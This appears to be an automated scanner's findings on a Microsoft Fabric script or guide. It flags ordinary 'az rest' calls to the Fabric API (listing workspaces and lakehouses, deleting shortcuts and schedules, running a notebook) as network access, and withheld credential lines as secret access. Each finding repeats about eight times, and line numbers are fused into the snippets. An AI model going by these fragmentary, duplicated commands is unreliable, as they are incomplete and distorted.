# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 857
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
